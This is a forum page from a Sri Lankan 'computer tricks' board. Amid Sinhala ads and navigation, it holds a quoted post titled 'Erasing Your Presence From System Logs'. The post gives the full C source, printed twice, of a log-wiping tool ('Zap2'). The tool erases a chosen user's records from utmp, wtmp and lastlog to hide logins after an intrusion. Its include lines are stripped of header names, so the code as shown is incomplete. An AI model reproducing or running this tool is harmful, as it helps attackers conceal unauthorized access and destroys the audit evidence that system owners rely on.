Search
Search titles only
By:
Search titles only
By:
Log in
Register
Search
Search titles only
By:
Search titles only
By:
Menu
Install the app
Install
Forums
New posts
All threads
Latest threads
New posts
Trending threads
Trending
Search forums
What's new
New posts
New ads
New profile posts
Latest activity
Free Ads
Latest reviews
Search ads
Members
Current visitors
New profile posts
Search profile posts
Contact us
Latest ads
එක පැකේජ් එකයි මාසෙටම Unlimited Internet. තාමත් DATA CARD දාන්න සල්ලි වියදම් කරනවද? අඩුම මිලට අපෙන්.
sayuru bandara
Updated:
Tuesday at 12:30 PM
Ad icon
ඉන්ටර්නෙට් එකෙන් හරියටම සල්ලි හොයන්න සහ Success වෙන්න කැමතිද? 🚀 (E-Money & Success Stories)
siri sumana
Updated:
Saturday at 11:44 PM
Gemini AI PRO 18 months Offer
Hawaka
Updated:
May 27, 2026
Ad icon
koko account
DasunEranga
Updated:
May 27, 2026
Ad icon
koko account
DasunEranga
Updated:
May 27, 2026
Electronics
Vehicles
Property
Search
Reply to thread
Forums
General
Education
COMPUTER TRICKS (HARDWARE & SOFTWARE)
Get the App
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Message
<blockquote data-quote="wgdchathuranga_1" data-source="post: 8456632" data-attributes="member: 257568"><p><span style="font-size: 12px">¤¤ Erasing Your Presence From System Logs ¤¤</span></p><p><span style="font-size: 12px"></span></p><p><span style="font-size: 12px">Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.</span></p><p></p><p><span style="font-size: 12px">Example:</span></p><p></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#include</span></p><p><span style="font-size: 12px">#define WTMP_NAME "/usr/adm/wtmp"</span></p><p><span style="font-size: 12px">#define UTMP_NAME "/etc/utmp"</span></p><p><span style="font-size: 12px">#define LASTLOG_NAME "/usr/adm/lastlog"</span></p><p></p><p><span style="font-size: 12px">int f;</span></p><p></p><p><span style="font-size: 12px">void kill_utmp(who)</span></p><p><span style="font-size: 12px">char *who;</span></p><p><span style="font-size: 12px">{</span></p><p><span style="font-size: 12px">struct utmp utmp_ent;</span></p><p></p><p><span style="font-size: 12px">if ((f=open(UTMP_NAME,O_RDWR))>=0) {</span></p><p><span style="font-size: 12px">while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )</span></p><p><span style="font-size: 12px">if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {</span></p><p><span style="font-size: 12px">bzero((char *)&utmp_ent,sizeof( utmp_ent ));</span></p><p><span style="font-size: 12px">lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);</span></p><p><span style="font-size: 12px">write (f, &utmp_ent, sizeof (utmp_ent));</span></p><p><span style="font-size: 12px">}</span></p><p><span style="font-size: 12px">close(f);</span></p><p><span style="font-size: 12px">}</span></p><p><span style="font-size: 12px">}</span></p><p></p><p><span style="font-size: 12px">void kill_wtmp(who)</span></p><p><span style="font-size: 12px">char *who;</span></p><p><span style="font-size: 12px">{</span></p><p><span style="font-size: 12px">struct utmp utmp_ent;</span></p><p><span style="font-size: 12px">long pos;</span></p><p></p><p><span style="font-size: 12px">pos = 1L;</span></p><p><span style="font-size: 12px">if ((f=open(WTMP_NAME,O_RDWR))>=0) {</span></p><p></p><p><span style="font-size: 12px">while(pos != -1L) {</span></p><p><span style="font-size: 12px">lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);</span></p><p><span style="font-size: 12px">if (read (f, &utmp_ent, sizeof (struct utmp))<0) {</span></p><p><span style="font-size: 12px">pos = -1L;</span></p><p><span style="font-size: 12px">} else {</span></p><p><span style="font-size: 12px">if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {</span></p><p><span style="font-size: 12px">bzero((char *)&utmp_ent,sizeof(struct utmp ));</span></p><p><span style="font-size: 12px">lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);</span></p><p><span style="font-size: 12px">write (f, &utmp_ent, sizeof (utmp_ent));</span></p><p><span style="font-size: 12px">pos = -1L;</span></p><p><span style="font-size: 12px">} else pos += 1L;</span></p><p><span style="font-size: 12px">}</span></p><p><span style="font-size: 12px">}</span></p><p><span style="font-size: 12px">close(f);</span></p><p><span style="font-size: 12px">}</span></p><p><span style="font-size: 12px">}</span></p><p></p><p><span style="font-size: 12px">void kill_lastlog(who)</span></p><p><span style="font-size: 12px">char *who;</span></p><p><span style="font-size: 12px">{</span></p><p><span style="font-size: 12px">struct passwd *pwd;</span></p><p><span style="font-size: 12px">struct lastlog newll;</span></p><p></p><p><span style="font-size: 12px">if ((pwd=getpwnam(who))!=NULL) {</span></p><p></p><p><span style="font-size: 12px">if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {</span></p><p><span style="font-size: 12px">lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);</span></p><p><span style="font-size: 12px">bzero((char *)&newll,sizeof( newll ));</span></p><p><span style="font-size: 12px">write(f, (char *)&newll, sizeof( newll ));</span></p><p><span style="font-size: 12px">close(f);</span></p><p><span style="font-size: 12px">}</span></p><p></p><p><span style="font-size: 12px">} else printf("%s: ?\n",who);</span></p><p><span style="font-size: 12px">}</span></p><p></p><p><span style="font-size: 12px">main(argc,argv)</span></p><p><span style="font-size: 12px">int argc;</span></p><p><span style="font-size: 12px">char *argv[];</span></p><p><span style="font-size: 12px">{</span></p><p><span style="font-size: 12px">if (argc==2) {</span></p><p><span style="font-size: 12px">kill_lastlog(argv[1]);</span></p><p><span style="font-size: 12px">kill_wtmp(argv[1]);</span></p><p><span style="font-size: 12px">kill_utmp(argv[1]);</span></p><p><span style="font-size: 12px">printf("Zap2!\n");</span></p><p><span style="font-size: 12px">} else</span></p><p><span style="font-size: 12px">printf("Error.\n");</span></p><p><span style="font-size: 12px">}</span></p></blockquote><p></p>
[QUOTE="wgdchathuranga_1, post: 8456632, member: 257568"] [SIZE=3]¤¤ Erasing Your Presence From System Logs ¤¤ Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.[/SIZE] [SIZE=3]Example:[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#include[/SIZE] [SIZE=3]#define WTMP_NAME "/usr/adm/wtmp"[/SIZE] [SIZE=3]#define UTMP_NAME "/etc/utmp"[/SIZE] [SIZE=3]#define LASTLOG_NAME "/usr/adm/lastlog"[/SIZE] [SIZE=3]int f;[/SIZE] [SIZE=3]void kill_utmp(who)[/SIZE] [SIZE=3]char *who;[/SIZE] [SIZE=3]{[/SIZE] [SIZE=3]struct utmp utmp_ent;[/SIZE] [SIZE=3]if ((f=open(UTMP_NAME,O_RDWR))>=0) {[/SIZE] [SIZE=3]while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )[/SIZE] [SIZE=3]if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {[/SIZE] [SIZE=3]bzero((char *)&utmp_ent,sizeof( utmp_ent ));[/SIZE] [SIZE=3]lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);[/SIZE] [SIZE=3]write (f, &utmp_ent, sizeof (utmp_ent));[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]close(f);[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]void kill_wtmp(who)[/SIZE] [SIZE=3]char *who;[/SIZE] [SIZE=3]{[/SIZE] [SIZE=3]struct utmp utmp_ent;[/SIZE] [SIZE=3]long pos;[/SIZE] [SIZE=3]pos = 1L;[/SIZE] [SIZE=3]if ((f=open(WTMP_NAME,O_RDWR))>=0) {[/SIZE] [SIZE=3]while(pos != -1L) {[/SIZE] [SIZE=3]lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);[/SIZE] [SIZE=3]if (read (f, &utmp_ent, sizeof (struct utmp))<0) {[/SIZE] [SIZE=3]pos = -1L;[/SIZE] [SIZE=3]} else {[/SIZE] [SIZE=3]if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {[/SIZE] [SIZE=3]bzero((char *)&utmp_ent,sizeof(struct utmp ));[/SIZE] [SIZE=3]lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);[/SIZE] [SIZE=3]write (f, &utmp_ent, sizeof (utmp_ent));[/SIZE] [SIZE=3]pos = -1L;[/SIZE] [SIZE=3]} else pos += 1L;[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]close(f);[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]void kill_lastlog(who)[/SIZE] [SIZE=3]char *who;[/SIZE] [SIZE=3]{[/SIZE] [SIZE=3]struct passwd *pwd;[/SIZE] [SIZE=3]struct lastlog newll;[/SIZE] [SIZE=3]if ((pwd=getpwnam(who))!=NULL) {[/SIZE] [SIZE=3]if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {[/SIZE] [SIZE=3]lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);[/SIZE] [SIZE=3]bzero((char *)&newll,sizeof( newll ));[/SIZE] [SIZE=3]write(f, (char *)&newll, sizeof( newll ));[/SIZE] [SIZE=3]close(f);[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]} else printf("%s: ?\n",who);[/SIZE] [SIZE=3]}[/SIZE] [SIZE=3]main(argc,argv)[/SIZE] [SIZE=3]int argc;[/SIZE] [SIZE=3]char *argv[];[/SIZE] [SIZE=3]{[/SIZE] [SIZE=3]if (argc==2) {[/SIZE] [SIZE=3]kill_lastlog(argv[1]);[/SIZE] [SIZE=3]kill_wtmp(argv[1]);[/SIZE] [SIZE=3]kill_utmp(argv[1]);[/SIZE] [SIZE=3]printf("Zap2!\n");[/SIZE] [SIZE=3]} else[/SIZE] [SIZE=3]printf("Error.\n");[/SIZE] [SIZE=3]}[/SIZE] [/QUOTE]
Insert quotes…
Verification
Winadiyakata thappara keeyak tibeda?
Post reply
Top
Bottom